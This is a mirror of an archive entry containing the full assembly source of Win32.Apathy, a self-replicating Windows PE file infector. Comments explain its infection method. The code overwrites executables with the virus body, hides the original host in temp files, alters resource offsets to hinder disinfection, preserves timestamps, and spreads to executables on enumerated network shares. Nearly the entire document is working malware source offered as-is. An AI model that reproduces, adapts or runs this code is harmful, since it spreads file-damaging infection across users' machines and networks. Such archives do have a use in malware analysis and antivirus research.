mirror of
https://github.com/vxunderground/MalwareSourceCode
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826 lines
26 KiB
NASM
826 lines
26 KiB
NASM
;
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; - Win32.Apathy -
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; -b0z0/iKX-
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;
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; This is a PE infector that works in 9x/NT systems and infected files in
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; that enviroments will work correctly after infection (I'm not sure that
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; there is a secret bu... feature that could make them not to work).
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; While infecting Win32.Apathy will overwrite the original PE start with
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; a copy of itself, thus avoiding entirely the API searching problem,
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; saving the original piece of code at the end of the infected file. To
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; maintain compatibility with NT and to make disinfection a little tricky
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; the virus will also change the .rsrc RVA and consequently all the resource
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; entryes to some standard position. So just copying the original piece of
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; will result in damaging the executable. The original file will be
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; reconstructed in a temporary file and executed there as a new process.
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; Check code for other things about the infection process and such.
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; Win32.Apathy will also try to spread through the network (microsoft
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; network or SMB or how you wanna call it) by scanning some connected
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; resources and trying to infect files over there.
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;
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; The virus has been quite tested under Win95/98/NT4
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;
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; Win32.Apathy born really a lot of time ago, I started coding this just
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; after Xine#3 was out, but then the whole project (like all my other VX
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; projects) was stopped until about december 1998 when I decided to finish
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; at least something. The code tho is not optimized at all, could not be
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; too clear in some parts, I just wanted to materialize a few ideas I had
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; and I didn't really care too much to optimize or something this.
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;
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; The virus name is quite obvious, but:
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; apathy: the state of having no wish to act and no enthusiasm
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;
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; Thanx to StarZero for cool hints and notes!
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;
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; For any kind of info or something contact me at cl0wn@geocities.com
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;
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.386
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.model flat
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; kernel32 ones we need
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extrn SetFileAttributesA:PROC
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extrn Sleep:PROC
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extrn GetWindowsDirectoryA:PROC
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extrn GetTickCount:PROC
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extrn lstrcpy:PROC
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extrn ExitProcess:PROC
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extrn SetFileTime:PROC
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extrn DeleteFileA:PROC
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extrn GetTempPathA:PROC
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extrn GetTempFileNameA:PROC
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extrn CreateProcessA:PROC
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extrn CopyFileA:PROC
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extrn FindFirstFileA:PROC
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extrn FindNextFileA:PROC
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extrn GetCommandLineA:PROC
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extrn CloseHandle:PROC
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extrn ReadFile:PROC
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extrn HeapAlloc:PROC
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extrn GetProcessHeap:PROC
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extrn CreateFileA:PROC
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extrn CreateFileMappingA:PROC
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extrn MapViewOfFile:PROC
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extrn UnmapViewOfFile:PROC
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extrn GetFileSize:PROC
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extrn CreateMutexA:PROC
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extrn GetLastError:PROC
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; for network from mpr.dll
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extrn WNetOpenEnumA:PROC
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extrn WNetEnumResourceA:PROC
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.data
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vname db 0,'Win32.Apathy by '
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author db '-b0z0/iKX-',0 ; used as mutex object name
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fsearch:
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f_attrib dd 00h
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f_ctime dd 00h,00h
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f_atime dd 00h,00h
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f_wtime dd 00h,00h
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f_size_hi dd 00h
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f_size_lo dd 00h
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f_reserved dd 00h,00h
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f_name db 104h dup (?)
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f_alt_name db 0eh dup (?)
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msg db 'i am nobody except genetic runaround',0
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ff_handle dd 00h
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f_handle dd 00h
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dotdot_mask db '..',0
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exemask db '*.EXE',0
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v_map_handle dd 00h
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v_file_handle dd 00h
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orig_virus_p dd 00h
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pref db 'ikx',0 ; tmp file name prefix
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path_position dd offset new_path
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new_path db 112h dup (?) ; max_path + a bit more
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tmp_name db 112h dup (?)
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process_info dd 4 dup (?)
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; STARTUPINFO structure for new process
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startup_info dd 10h ; lenght of this structure
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dd 00h,00h
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title_startup dd 00h ; pointer to title for console progs
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;
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has_infected db 00h ; 00h no, 01h yes
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virus_phase db 07h ; 07h infecting .
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; 06h infecting windows directory
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; 05h infecting network 1 try
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; 04h infecting network 2 try
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; 03h infecting ..
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; 02h infecting network 3 try
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; 01h infecting network 4 try
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netspace equ 4000h ; 16kb as suggested. place for 200h
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; entryes... way too much anyway
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enum_handle dd 00h ; handle of Net enumeration
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enum_count dd 1ffh ; how many got / how many to get
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enum_size dd netspace ; size of memory avaiable for results
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r_point dd 0h
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; here begins the virus code
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.code
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; equs
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exesize equ 1502h ; size of virus executable
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pe_begin equ 100h ; where PE header begins in virus
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file_align equ 200h ; file align value (= to linker one)
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read_exe equ 4096d ; how much victim to read to check
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marker equ '0z0b' ; infection marker
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wait_time equ 2604d ; time between each search
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sleep_time equ 7919d ; add sleep time after good infection
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f_shit equ 2000h ; first gen dim
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; the marker must be set at offset 58h of the PE once compiled
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startcode:
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call GetProcessHeap
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push (exesize + read_exe + netspace)
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push 8h ; zero memory
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push eax
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call HeapAlloc ; allocate some memory from our heap
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mov dword ptr [orig_virus_p],eax
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push offset new_path
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push 112h
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call GetTempPathA
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push offset tmp_name ; create a temporary name
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push large 0
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push offset pref
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push offset new_path
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call GetTempFileNameA
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call GetCommandLineA ; get our name
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cmp byte ptr [eax],22h ; " this is strange, sometimes cmdline
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jne not_thatshit ; is enclosed in "", so we must take
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inc eax ; care if they are there
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push eax
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find_ending:
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cmp byte ptr [eax],22h
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je delete_ending_aswell
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inc eax
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jmp find_ending
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delete_ending_aswell:
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mov byte ptr [eax],20h
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pop eax
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not_thatshit:
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push eax
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mov dword ptr [title_startup],eax
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search_end:
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inc eax
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cmp byte ptr [eax-1],'.' ; go to the extension
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jne search_end
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cmp byte ptr [eax+3],20h ; space
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je found_end
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cmp byte ptr [eax+3],00h ; end of string
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jne search_end
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found_end:
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add eax,3 ; point on end of exe name
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push eax
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push eax ; copy possible command line options
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push offset new_path ; to the buffer
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call lstrcpy
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pop eax
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mov byte ptr [eax],0 ; put null to open/copy it
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pop eax
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push large 0
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push offset tmp_name
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push eax ; copy ourselves to another name
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call CopyFileA
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or eax,eax
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jz exit_critical_temp
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push 02h ; file attribute hidden
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push offset tmp_name
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call SetFileAttributesA
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xor eax,eax
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push eax
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push large 80h
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push large 3
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push eax
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push eax
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push 0c0000000h ; readwrite
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push offset tmp_name ; open the temporary file
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call CreateFileA
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inc eax ; check if opened ok
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jz exit_critical_temp
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dec eax
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mov dword ptr [v_file_handle],eax
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push eax
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push large 0
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push eax ; handle
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call GetFileSize ; get size of file we are running from
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xchg ecx,eax ; copied in a tmp file
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pop eax
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push ecx ; size
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xor ecx,ecx
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push ecx
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push ecx ; entire file
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push ecx
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push large 04h
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push ecx
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push eax
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call CreateFileMappingA
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cdq
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or eax,eax
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jz exit_critical_temp ; eax map handle
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push eax ; mapping handle
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push edx
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push edx
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push edx
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push large 02h
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push eax
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call MapViewOfFile
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or eax,eax
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pop ebx ; mapping handle
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je exit_critical_temp
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cld
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mov esi,eax
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mov edi,dword ptr [orig_virus_p]
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mov ecx,exesize
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mov edx,ecx
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rep movsb
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pop ecx ; size
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cmp ecx,f_shit
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jz first_generation
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sub ecx,edx
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sub ecx,edx
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push ebx ; map handle
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mov edi,esi
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add esi,ecx
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mov ecx,edx
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sub edi,ecx
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push edi ; to beginning of file mapping in mem
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push edi
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rep movsb ; restore original
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pop edi
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mov esi,edi ; now we must restore the resources
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add edi,dword ptr [edi+3ch] ; on PE
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mov eax,dword ptr [edi+8ch] ; resources lenght
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or eax,eax
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jz no_resourz
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mov eax,dword ptr [edi+88h] ; resources RVA
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add edi,0f8h+0ch ; to objects
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srs_loo:
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cmp eax,dword ptr [edi] ; is the resources one?
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je got_srsr
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add edi,28h ; lenght of an object
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jmp srs_loo
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got_srsr:
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add esi,dword ptr [edi+08h] ; physical offset of resources
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mov ebx,4000h ; fixed virus resources RVA
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sub ebx,eax
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call rsrs_change ; call changer
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no_resourz: ; everything is ready again
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call UnmapViewOfFile
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call CloseHandle
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push dword ptr [v_file_handle] ; close virus file
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call CloseHandle
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xor eax,eax
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push offset process_info
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push offset startup_info
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push eax
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push eax
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push eax
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push eax
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push eax
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push eax
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push offset new_path ; to command line options
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push offset tmp_name ; to file to execute
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call CreateProcessA ; run host executable
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first_generation:
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push offset author ; name of the mutex object
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push large 1
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push large 0
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call CreateMutexA ; create one
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call GetLastError ; check if one with the same name
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or eax,eax ; already exist. if so virus is already
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jnz exit_critical_temp ; running as another process
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mov eax,offset exemask
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search_loop:
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push offset fsearch
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push eax
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call FindFirstFileA ; search for some victims
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cmp eax,-1
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je end_file_search
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mov dword ptr [ff_handle],eax
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infect_file:
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push offset f_name
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push dword ptr [path_position] ; copy found file
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call lstrcpy ; after directory
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push 80h ; FILE_ATTRIBUTE_NORMAL
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push offset new_path
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call SetFileAttributesA ; delete attributes
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or eax,eax
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jz error_attributes
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xor eax,eax
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push eax
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push large 80h
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push large 3
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push eax
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push eax
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push 0c0000000h ; readwrite
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push offset new_path ; full file name to file to
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call CreateFileA ; infect
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inc eax
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jz error_opening
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dec eax
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mov dword ptr [f_handle],eax
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push eax
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mov edx,dword ptr [orig_virus_p] ; virus heap
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add edx,exesize ; read data is after original
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push edx
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push large 0
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push offset f_size_hi ; some place to store nr of
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push read_exe ; readed bytes
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push edx
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push eax
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call ReadFile ; read header
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pop edx
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pop eax
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cmp word ptr [edx],'ZM' ; exe?
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jne not_to_infect
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mov ecx,dword ptr [edx+3ch] ; pointer to PE header
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cmp ecx,(read_exe - 4) ; is the PE header in readed
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jae not_to_infect ; chunk of executable?
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add edx,ecx
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cmp dword ptr [edx],'EP'
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jne not_to_infect
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cmp dword ptr [edx+58h],marker ; already infected?
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je not_to_infect
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test dword ptr [edx+3ch],(file_align - 1)
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jnz not_to_infect ; must have an align cmptible
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mov ecx,dword ptr [f_size_lo] ; file size (assume <= 4gb)
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cmp ecx,(10 * 1024) ; not too small files
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jbe not_to_infect ; leave it
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mov ebx,dword ptr [edx+8ch] ; resource size
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or ebx,ebx
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jz no_resp
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mov ebx,dword ptr [edx+88h] ; pointer to resources
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add edx,(0f8h + 0ch)
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search_rsrcs:
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cmp ebx,dword ptr [edx] ; is the resources one?
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je got_rsrcs
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add edx,28h ; lenght of an object
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jmp search_rsrcs
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got_rsrcs:
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sub edx,0ch ; on beginning of this object
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cmp dword ptr [edx+14h],exesize ; are resources after the virus
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jbe not_to_infect ; size (this is won't be overw)
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mov ebx,edx
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no_resp:
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mov dword ptr [r_point],ebx
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add ecx,exesize ; will extend it by exesize
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xor edx,edx
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push edx
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push ecx
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push edx
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push large 04h
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push edx
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push eax
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call CreateFileMappingA
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cdq
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or eax,eax
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jz not_to_infect
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mov dword ptr [v_map_handle],eax
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push edx
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push edx
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push edx
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push large 02h
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push eax
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call MapViewOfFile
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or eax,eax
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jz close_map_exit
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mov edi,eax
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push edi
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mov esi,edi
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add edi,dword ptr [f_size_lo]
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mov edx,edi
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mov ecx,exesize ; save original code after the end
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push ecx
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rep movsb
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pop ecx
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pop edi
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push edi
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mov esi,dword ptr [orig_virus_p] ; on vir
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rep movsb ; copy virus body
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pop edi
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push edi
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mov esi,edx
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mov edx,edi
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add esi,dword ptr [esi+3ch] ; on PE
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mov ecx,4000h ; image size of virus file w/o rsrcs
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mov dword ptr [edi+pe_begin+50h],ecx ; correct image size
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mov word ptr [edi+pe_begin+6],3h ; number of virus objects
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mov eax,dword ptr [r_point] ; pointer to resources object
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mov ebx,dword ptr [esi+8ch] ; resource size
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mov dword ptr [edi+pe_begin+8ch],ebx
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mov dword ptr [edi+pe_begin+88h],0h ; zero resurce RVA by default
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or eax,eax ; resources length 0?
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jz no_resources
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mov ebx,dword ptr [esi+88h] ; resource RVA
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sub ebx,ecx
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mov dword ptr [edi+pe_begin+88h],ecx ; set resources pointer
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inc word ptr [edi+pe_begin+6] ; number of objects
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mov esi,eax ; on resources object
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add edi,(pe_begin + 0f8h + (3*28h))
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mov ecx,028h ; copy resources object
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rep movsb
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mov esi,edx ; on beginning of file
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mov dword ptr [edi-28h+0ch],4000h
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mov eax,dword ptr [edi-28h+08h] ; object virtual size
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add eax,(1000h - 1)
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and eax,0fffff000h
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add dword ptr [edi - (0f8h + (4*28h)) + 50h],eax ; to image size
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mov eax,dword ptr [edi-28h+14h] ; physical offset of resources
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add esi,eax
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call rsrs_change ; change those
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no_resources:
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call UnmapViewOfFile ; unmap view of file
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inc byte ptr [has_infected] ; good infection, so a pause
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; will occour
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close_map_exit:
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push dword ptr [v_map_handle]
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call CloseHandle ; close mapping handle
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mov eax,dword ptr [f_handle]
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push eax
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push offset f_wtime
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push offset f_atime
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push offset f_ctime
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push eax
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call SetFileTime ; restore original file time
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pop eax
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not_to_infect:
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push eax ; file handle
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call CloseHandle ; close infected file
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error_opening:
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push dword ptr [f_attrib] ; restore old attributes to file
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push offset new_path
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call SetFileAttributesA
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error_attributes:
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mov eax,wait_time ; so it won't work too much
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dec byte ptr [has_infected]
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jnz no_infection
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add eax,sleep_time ; if a file was infected then make a
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; longer pause
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no_infection:
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push eax
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call Sleep ; pause until next one
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mov byte ptr [has_infected],00h ; reset infection mark
|
|
|
|
push offset fsearch
|
|
push dword ptr [ff_handle]
|
|
call FindNextFileA
|
|
or eax,eax ; no more files?
|
|
jz end_file_search
|
|
jmp infect_file ; else infect
|
|
|
|
end_file_search:
|
|
|
|
call GetTickCount ; should we go deeper in dir
|
|
shr eax,1 ; from actual position?
|
|
jc next_phase
|
|
|
|
mov esi,dword ptr [path_position] ; search from last dir fwd
|
|
mov dword ptr [esi],' .*' ; to search dirs and such
|
|
|
|
push eax
|
|
|
|
push offset fsearch
|
|
push offset new_path
|
|
call FindFirstFileA
|
|
mov dword ptr [ff_handle],eax
|
|
cmp eax,-1
|
|
pop eax
|
|
je next_phase ; no dirs in here
|
|
|
|
check_dir:
|
|
test dword ptr [f_attrib],10h ; is a directory?
|
|
jz search_next_dir
|
|
|
|
cmp byte ptr [f_name],'.' ; not . or ..
|
|
je search_next_dir
|
|
|
|
shr eax,1 ; select randomly if walk into
|
|
jnc search_next_dir ; this or try another
|
|
|
|
mov eax,dword ptr [path_position] ; put after actual search path
|
|
mov esi,offset f_name ; point to directory name
|
|
|
|
jmp copy_from_eax
|
|
search_next_dir:
|
|
push eax
|
|
push offset fsearch
|
|
push dword ptr [ff_handle] ; search next
|
|
call FindNextFileA
|
|
or eax,eax ; no more directoryes?
|
|
pop eax
|
|
jnz check_dir
|
|
|
|
next_phase:
|
|
dec byte ptr [virus_phase]
|
|
mov al,byte ptr [virus_phase]
|
|
|
|
or al,al ; phases finished
|
|
jz farewell_and_goodnight
|
|
|
|
cmp al,03h ; search in ..
|
|
je search_dotdot
|
|
|
|
cmp al,06h ; windows directory phase
|
|
jne network_work
|
|
|
|
mov esi,offset new_path
|
|
|
|
push 104h ; buffer lenght
|
|
push esi ; search in windoze directory
|
|
call GetWindowsDirectoryA
|
|
jmp copy_and_gosearch
|
|
|
|
search_dotdot:
|
|
mov esi,offset dotdot_mask
|
|
jmp copy_and_gosearch
|
|
|
|
network_work:
|
|
xor ebx,ebx
|
|
find_resource:
|
|
push offset enum_handle
|
|
push ebx ; pointer to NETSOURCE structure to use
|
|
push large 3 ; CONNECTABLE | CONTAINER
|
|
push large 1 ; RESOURCETYPE_DISK
|
|
push large 2 ; RESOURCE_GLOBALNET
|
|
call WNetOpenEnumA
|
|
or eax,eax ; 0 = NO_ERROR
|
|
jnz next_phase ; on error just skip this phase
|
|
|
|
mov eax,dword ptr [orig_virus_p] ; pointer to heap
|
|
add eax,(exesize + read_exe) ; after other data
|
|
|
|
mov dword ptr [enum_count],1ffh ; get max entryes
|
|
|
|
push eax
|
|
|
|
push offset enum_size ; avaiable memory for results
|
|
push eax ; where to place results
|
|
push offset enum_count ; how many to enumerate
|
|
push dword ptr [enum_handle] ; handle of enumeration
|
|
call WNetEnumResourceA
|
|
pop ebx
|
|
or eax,eax ; 0 = NO_ERROR
|
|
jnz next_phase ; if some error skip
|
|
|
|
mov ecx,dword ptr [enum_count] ; number of entryes got
|
|
|
|
call GetTickCount ; random
|
|
xor edx,edx
|
|
div ecx
|
|
|
|
mov eax,20h ; lenght of one entry
|
|
mul edx ; select which one
|
|
add ebx,eax
|
|
|
|
test dword ptr [ebx+0ch],01h ; is an usable resource
|
|
jz find_resource
|
|
; if not should be a container
|
|
; (local or remote) so continue
|
|
; to next level
|
|
|
|
got_resource:
|
|
mov esi,dword ptr [ebx+14h] ; here it is
|
|
|
|
copy_and_gosearch:
|
|
mov eax,offset new_path
|
|
copy_from_eax:
|
|
|
|
push eax
|
|
|
|
push esi ; path to network or dir
|
|
push eax ; where to copy
|
|
call lstrcpy
|
|
|
|
pop eax
|
|
loop_searchzero:
|
|
cmp byte ptr [eax],00h
|
|
je got_null_termination ; find end
|
|
inc eax
|
|
jmp loop_searchzero
|
|
got_null_termination:
|
|
mov byte ptr [eax],'\' ; add \
|
|
inc eax
|
|
|
|
mov dword ptr [path_position],eax
|
|
|
|
push offset exemask ; and now copy the *.exe mask
|
|
push eax
|
|
call lstrcpy
|
|
|
|
mov eax,offset new_path
|
|
jmp search_loop
|
|
|
|
farewell_and_goodnight:
|
|
|
|
exit_critical_temp:
|
|
|
|
; before exiting delete some temp files (the still used ones will be deleted
|
|
; next time since are actually in use)
|
|
|
|
mov esi,offset tmp_name ; has temp path + last temp name
|
|
search_dottmp:
|
|
inc esi
|
|
cmp word ptr [esi],'i\' ; find beginning of name
|
|
jne search_dottmp
|
|
inc esi
|
|
inc esi
|
|
cmp word ptr [esi],'xk'
|
|
jne search_dottmp
|
|
got_end:
|
|
inc esi
|
|
inc esi
|
|
push esi
|
|
mov dword ptr [esi],'mt.*' ; set delete ikx*.tmp
|
|
mov word ptr [esi+4],'p' ; p + null termination
|
|
|
|
push offset fsearch
|
|
push offset tmp_name
|
|
call FindFirstFileA
|
|
|
|
pop edi ; after ikx in temp name
|
|
cmp eax,-1
|
|
je exit_deletion
|
|
delete_temps:
|
|
mov esi,(offset f_name + 3)
|
|
mov ecx,9h ; sometimes will be shorter but wc
|
|
push edi
|
|
rep movsb
|
|
pop edi
|
|
|
|
push eax ; preserve handle
|
|
push offset tmp_name
|
|
call DeleteFileA ; could fail if file is
|
|
pop eax ; used, but np
|
|
|
|
push eax
|
|
push offset fsearch
|
|
push eax
|
|
call FindNextFileA ; find next to delete
|
|
or eax,eax
|
|
pop eax
|
|
jnz delete_temps
|
|
|
|
exit_deletion:
|
|
|
|
exit:
|
|
push LARGE -1 ; that's all, will release also
|
|
call ExitProcess ; our mutex object
|
|
|
|
rsrs_change:
|
|
; EBX = value to substract to each resource element
|
|
; ESI = pointer to resources
|
|
xor edx,edx ; will keep number of data elements
|
|
push ebx
|
|
search_rsr:
|
|
add esi,10h
|
|
movzx ecx,word ptr [esi - 2] ; nr of named and integer
|
|
add cx,word ptr [esi - 4] ; entryes in this dir
|
|
adc ecx,0
|
|
na_nasl:
|
|
mov ebx,dword ptr [esi + 4]
|
|
test ebx,80000000h ; is a resource data entry?
|
|
jnz is_subdir
|
|
inc edx
|
|
is_subdir:
|
|
add esi,8 ; on next
|
|
loop na_nasl
|
|
cmp dword ptr [esi],00h ; finished ?
|
|
je search_rsr
|
|
|
|
pop ebx
|
|
mov ecx,edx
|
|
change_res:
|
|
sub dword ptr [esi],ebx ; sub requested value
|
|
add esi,10h
|
|
loop change_res ; change all entryes
|
|
ret
|
|
|
|
end startcode
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|